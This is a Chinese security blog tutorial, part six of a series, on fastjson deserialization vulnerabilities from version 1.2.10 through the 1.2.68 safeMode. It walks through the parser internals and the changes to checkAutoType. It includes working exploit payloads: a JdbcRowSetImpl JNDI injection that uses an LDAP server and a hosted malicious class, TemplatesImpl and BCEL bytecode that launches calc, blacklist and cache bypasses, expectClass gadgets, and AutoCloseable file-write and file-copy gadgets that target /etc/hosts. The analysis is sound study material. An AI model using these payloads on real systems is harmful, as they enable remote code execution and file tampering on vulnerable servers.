首页 > 编程语言 >java反序列化(六)

java反序列化(六)

时间:2023-06-19 16:24:12浏览次数:57  
标签:java String expectClass clazz org 序列化 type public

fastjson反序列化

前置知识

fastjson是阿里巴巴开发的一个处理json数据的开源库,简简单单解析一个json字符串是自然不会造成命令执行的,问题在于很多库为了实用性会额外实现一些功能,造成了攻击点

fastjson简单使用

引入依赖,先用古老版本

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.10</version>
        </dependency>

Person

public class Person {
    public int age;
    public String name;
//    private Map map;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    @Override
    public String toString(){
        return "User{ name: "+name+", age: "+age+"}";
    }
    
//    public Map getMap(){
//        System.out.println("getMap");
//        return map;
//    }

}

直接解析json

public static void main(String[] args) {
        String json = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
        JSONObject jsonObject = JSON.parseObject(json);
        System.out.println(jsonObject.getString("param1"));//输出aaa
    }

解析json为对象

public static void main(String[] args) {
        String json = "{\"age\":18,\"name\":\"aaa\"}";
        Person person = JSON.parseObject(json,Person.class);
        System.out.println(person.getAge());
	}//setAge setName getname getAge 18

在json中通过@type字段指定解析的类

public static void main(String[] args) {
        String json = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"aaa\"}";
        JSONObject jsonObject = JSON.parseObject(json);
        System.out.println(jsonObject);
    }//setAge setName getname getAge {"name":"aaa","age":18}

parseObject流程

这个跟的很完整

https://www.cnblogs.com/nice0e3/p/14601670.html

在DefauJSONParser#parser()中,因为字符串首位是{进入parseObject()

1683444774297

1683445657814

在DefauJSONParser#pareseObject()的循环里通过识别"来提取json字符串中的键值对信息,首先提取出来的key是@type,之后提取出value即org.example.Person,接着加载这个类,现在clazz就是org.example.Person

1683450879829

1683451164091

经过了大量纯字符串操作,终于来到了反序列化的地方。在DefauJSONParser#pareseObject()最后,先获取了一个反序列化器,然后用这个反序列化器来反序列化Person

1683451520778

跟进getDeserializer,看见过程中有个黑名单,不过因为版本早,黑名单里只有java.lang.Thread

1683452070050

往后,如果clazz是常见的类就使用以后的反序列化器,否则创建一个JavaBeanDeserializer

1683452212361

之后这个build很重要,JavaBeanInfo#build()里两次遍历类的所有方法,第一次寻找所有的setter,第二次寻找某些的getter

1683453068694

1683460625711

setter

以第一个遍历为例稍微看一点找函数的逻辑

1683461370977

如果找到了setter就add进fieldlist,此时会给getOnly赋值

1683461611358

1683461932085

public

找public,如果找到了也会add进fieldlist,但Person类的name和age因为都有set所以在找set时已经被add进fieldlist了

1683463079437

1683463138444

getter

找get时类似,区别在于只有当返回特定类型不在fieldList里(private且没有setter只有getter)时才会add进fieldlist

1683462777134

三个循环结束后return,然后build结束。关注下asmEnable这个开关,这个开关之前一直是开启的状态,除非getOnly为true否则目前不会关闭。想要关闭开关的话加入一个Person里getMap一样满足要求的getter就行

1683464866789

1683464995566

最终得到了反序列化器,在最开始的例子里可以发现parseObject()的过程中触发了getter和setter,找一下触发点

setter,这里时通过反射调用setAge对age进行复制而不是直接反射赋值

1683472046842

再找getter,在一切都结束后,又会把对象转化回json字符串,在toJSON中调用了getter

1683472750585

1683473079757

1683473214717

总结一下,虽然叫fastjson反序列化,但与之前的readObject触发点不同,fastjson里触发是在setter和getter中。所以在寻找利用点时要找public或者有setter的属性

parse只能触发setter,parseObject内先parse触发setter,然后toJson触发getter

不同版本下复现

1.2.24以前

jndi注入

起因是JavaRowSetImpl#connect中潜在jndi注入点,其中lookup的值能通过setter来赋值,最后connect可以通过另一个setter调用

1684586453798

1684586617255

1684587102687

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

使用marshalsec起ldap服务器(yakit看着挺好用,但没用明白),python服务器在8848端口用于访问Test.class恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8848/#Test 1099
python -m http.server 8848

DataSourceName即最后ldap服务器上的恶意类,autoCommit随便穿个bool,因为setAutoCommit要传入bool

    public static void main(String[] args) throws IOException {
        String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:1099/Test\",\"autoCommit\":true}";
        JSON.parseObject(json);
    }
}

从字节码中加载类

TemplatesImpl#defineTransletClasses可以从字节码加载类,defineTransletClasses->getTransletInstance-.newTransforme->newTransformer->getOutputProperties,最终找到一个可利用的getter

1684640014138

期间getTransletInstance要求_name不为空,defineTransletClasses为了不报错_factory也不为空

1684640230486

1684640400454

此外由于_factory,_name,_bytecode都是private,所以parseObject时必须用Feature.SupportNonPublicField 参数让反序列化成功,所以用处不大吧

恶意类编译后base64编码,就是payload里的字符

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {

    public Test() throws IOException {

        Runtime.getRuntime().exec("calc");

    }

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
    Test t = new Test();
}
}
public class JsonTest {
    public static void main(String[] args) throws IOException {
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(json, Feature.SupportNonPublicField);
    }
}

加载本地恶意类

jndi需要出网,这个不需要

需要tomcat依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>

第一种需要parseObject,第二种直接可以parse

public class JsonTest {
    public static void main(String[] args) throws IOException {
        String json = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":" +
                "\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

        String json2 = "{\n" +
                "    {\n" +
                "        \"ki10\":{\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
                "        }\n" +
                "    }: \"Moc\"\n" +
                "}";
        JSON.parseObject(json);
        JSON.parse(json2);
    }
}

1.2.25-1.2.48

1.2.25开始在parse到@type时会对@type指定的类先进行一个checkAutoType,之后版本fastjson的各种修复都是在这个checkAutoType上不断更新

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        if (autoTypeSupport || expectClass != null) {// 在白名单里就loadClass
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {// 在黑名单里直接报错
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);// 查看所需加载的类是否在缓存中,也就是是否以前加载过,如果加载过就从缓存里取出这个类
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {// 没开autoType时
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {// 黑名单
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {// 白名单
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        if (clazz != null) {
			// 不让加载classLoader和DataSorce这两个类
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }
}

其中黑名单denylist

1685693976392

L;绕过

1.2.25-1.2.41

一个思路是用这段代码

clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

注意到黑白名单的检测用startWith实现的,在loadClass里会对L开头;结尾的类名做些神奇的处理

1685696096978

payload

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 打开setAutoType
        String s = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(s, Feature.SupportNonPublicField);
    }

但TypeUtils.loadClass只有在setAutoType打开时才会执行,所以还要先ParserConfig.getGlobalInstance().setAutoTypeSupport(true);开启setAutoType,就很菜

1.2.42-1.2.43

新版本做了两个改变,一是对黑名单做了哈希处理,但已经有很多被人碰撞出来了

https://github.com/LeadroyaL/fastjson-blacklist

1686184074934

二是如果类以L开头;结尾就先截取一下,但这个操作就很rz,双写就绕过了

1686183955890

1.2.44

如果类名以L开头;结尾直接报错,然后这条路也没什么好办法了

1686185257467

从缓存mappings加载恶意类

1.2.25-1.2.47

注意这一段是没有任何检测的,如果能想办法先将恶意类写入缓存,checkAutoType直接从缓存里加载时不会检测

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);// 查看所需加载的类是否在缓存中,也就是是否以前加载过,如果加载过就从缓存里取出这个类

缓存mapping可以通过MiscCodec#deserialize控制

在之前获取反序列化器时,getDesrializer判断如果反序列化的类是Class就会用MiscCodec作为反序列化器

1686154718854

1686154610998

跟进MiscCodec#deserialize,发现要求parse时的变量名是val

1686141485176

如果是Class类就会loadClass,加载val指定的类进入缓存。这里插一下,为什么选择MiscCodec也就是为什么选择Class类?因为Class类是java原生类,即使在checkAutoType时也不会拒绝这个类(应该是在白名单里的),以Class为跳板将恶意类com.sun.rowset.JdbcRowSetImpl载入缓存mappings是合理的思路

1686141849345

1686141913385

下一次加载时就可以在getClassFromMapping从mappings得到恶意类不走黑白名单加载

1686105081776

paylaod

    //先反序列化一个类,值为恶意类
    //然后用之前的payload
public static void main(String[] args) {
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:1099/Test\",\"autoCommit\":true}}";
        JSON.parseObject(s);
    }

1.2.48-1.2.68

expectClass绕过

1.2.48-1.2.68

新版本的checkAutoType加了个expectClassFlag,checkeAutoType函数除了反序列化的类名typeName外还有一个参数expectClass,expectClassFlag作用是对expectClass进行一些过滤

1686186307429

还是看checkAutoType里loadClass的几个地方,其中一个expectClassFlag为ture时就可以进入,也没有什么黑白名单之类的处理

1686325937689

所以expectClass是干什么用的?大部分调用checkAutoType的时候expectClass都为null,checkAutoType会检查parse出来的那个类clazz与预计反序列化的类一不一样,或者expectClass是不是clazz的子类。

1686193827016

能利用的传入expectClass参数的地方一个是JavaBeanDeserializer#deserialize,一个是ThrowableDeserializer#deserialize

ThrowableDeserializer

expectClass是Throwable

1686327702096

测试时使用的是这个Exec类,继承了Exception且实现了命令执行。实际环境中这中可以利用的恶意子类是要在业务代码中自己去找,应用面不如老版本mappings那个

package org.example;
import java.io.IOException;

public class Exec extends Exception {

    private String command;

    public void setCommand(String command) {
        this.command = command;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(this.command);
        } catch (IOException e) {
            return e.getMessage();
        }
        return super.getMessage();
    }
}

parseObject中不知为何没有在parse结束后调用一遍getter触发exec,所以需要通过设置ref让fastjson调用指定变量的getter

payload

{"x":
	{"@type":"java.lang.Exception",
	 "@type":"me.mole.exception.CalcException", 
	         "command":"open -a Calculator"}, 
 "y":{"$ref":"$x.message"}
 }

实际环境中如果用了selenium库可以获取目标主机信息

        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>4.1.1</version>
        </dependency>

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

selenium 一般用来操控浏览器进行爬虫,在很多基于浏览器操作的爬虫项目里都会使用到 selenium,如果同时也使用了 fastjson ,就会存在敏感信息泄露的问题。

payload(直接跑是不会有回显的,具体看环境代码)

{"x":
  	{"@type":"java.lang.Exception",
 	 "@type":"org.openqa.selenium.WebDriverException"},
 "y":{"$ref":"$x.systemInformation"}
}

JavaBeanDeserializer

类似ThrowableDeserializer,但是expectClass是人为可控的。这个位置一般选择java.lang.AutoCloseable

  • java.lang.AutoCloseable在TypeUtils#mappings缓存集合中;
  • java.lang.AutoCloseable使用fastjson默认的反序列化器JavaBeanDeserializer;
  • 通过查阅JDK文档可知,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。

1687156990292

一个简单的思路,通过实例化java.io.FileOutputStream新建文件

1687158856502

payload

{
	"@type": "java.lang.AutoCloseable",
	"@type": "java.io.FileOutputStream",
  	"file": "E://test.txt",
    "append": "false"
}

关于append参数,fastjson的JavaBeanInfo#build会选择第一个参数最长的构造函数,所以没append就会报错

1687158824525

单纯基于jdk本身的类(像FileOutputStream这种)不同版本会有种种区别,上面paylaod适用于jdk11不适用jdk8,原因是jdk8的FileOutputStream没有保留Local Variable Table,详见这篇2.2.3(其实我也不太懂)。但许多库还是保留了Local Variable Table,所以使用时与外部库结合实现文件操作

结合org.aspectj

        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjtools</artifactId>
            <version>1.9.5</version>
        </dependency>

payload,把etc/hosts复制到/Users/fa1c0n/tmp/hosts.txt

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
  "targetPath":"/Users/fa1c0n/tmp/hosts.txt",
  "tempPath":"/etc/hosts"
}

1.2.68之后

1.2.68之后增加了safeMode,safemode一旦开启就不再支持任何形式的@type,不论黑白名单是什么,但这个东西默认是关闭的,偶尔能捡漏

参考

https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson反序列化漏洞复现

标签:java,String,expectClass,clazz,org,序列化,type,public
From: https://www.cnblogs.com/carama1/p/17491421.html

相关文章

  • java~搞懂Comparable接口的compareTo方法
    Comparable接口的compareTo方法的升序或降序取决于实现该接口的类的具体实现。按照惯例,compareTo方法应该返回负数、零或正数来指示当前对象是小于、等于还是大于传入的对象。具体来说:如果this对象小于传入的对象,则compareTo应该返回负数。如果this对象等于传入的对......
  • PHP反序列化构造POP链小练习
    一个师傅给的源码,来源不知,就当作小练习记录一下<?phperror_reporting(0);classVox{protected$headset;public$sound;publicfunctionfun($pulse){include($pulse);}publicfunction__invoke(){$this->fun($this->headset);......
  • JavaScript的数学计算库:decimal.js
    Anarbitrary-precisionDecimaltypeforJavaScript.功能整数和浮点数简单但功能齐全的API复制JavaScript和对象的许多方法Number.prototypeMath还处理十六进制、二进制和八进制值比Java的BigDecimalJavaScript版本更快,更小,也许更容易使用无依赖关系广泛的平......
  • Java 运算符的使用
    Java运算符的使用1.算术运算符算术运算符包括:+,-,*,/,%,++,--,其中需要注意的是%,++,--;%取模运算也叫做取余,在Java中取余的规则:a%b=a-a/b*b++和--叫做自增运算即+1或-1++在前,先自加,后赋值++在后,先赋值,后自加(--运算与自增用法类似)2.算......
  • Java学习_第一个语法:添加注释
    单行注释://注释内容多行注释:/* 注释内容*/idea软件小技巧:多行注释往往容易找不到重点,可以在要做的事之前加上TODO前缀,idea软件会帮你高亮标注出来。 ......
  • Android面试涨薪攻略指南:Android面试必知必会Java知识点
    前言大多数面试者,虽然看起来工作努力,但他们表现出来的能力水平,却不足以通过面试,或拿到期望的薪资。在我看来,造成这种情况的原因,主要有这么两方面:第一,“知其然不知其所以然”。做了几年技术,开发了一些业务应用,但没有思考过这些技术选择背后的逻辑。所以,公司很难定位你日后的成长潜力......
  • 基于JAVA乳制品安全管理信息平台
    互联网的普及给人们带来的便利不需多说。因此如果把乳制品安全管理信息平台与互联网结合起来,利用java技术建设乳制品安全管理信息平台系统,实现乳制品安全管理信息平台的网络化。乳制品安全管理信息平台系统能够通过互联网得到广泛的、全面的宣传,让尽可能多的乳制品企业了解和熟知乳......
  • java WebUploader 分块上传
    ​ 我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用。首先我们需要了解的是上传文件三要素:1.表单提交方式:post(get方式提交有大小限制,post没有)2.表单的enctype属性:必须设置为multipart/form-data.3.表单必须......
  • JavaScript中var、let、const的使用和区别
    var:var是声明变量的主要关键字,它的作用域是函数作用域函数作用域:意味着变量在函数内部声明是可见的,在函数外部声明是不可见的var声明的变量可以被重新声明和赋值,它可以在同一个作用于下多次声明同一个变量let:let的作用域是块作用域,块作用域可以是函数、条件判断等内部{......
  • 十年老司机帮你整理最全Android中需要知道的Java集合框架
    前言子曰:温故而知新,可以为师矣。做android已经有好一段时间了,今天突然看到代码中写的各种用来存储数据的ArrayList、管理Activity的LinkedList、用来Retrofit请求数据时多个参数拼接的HashMap。也许使用已经成为了一种习惯,可是使用他的理由又开始在脑海中慢慢淡化了,故写一篇文章来......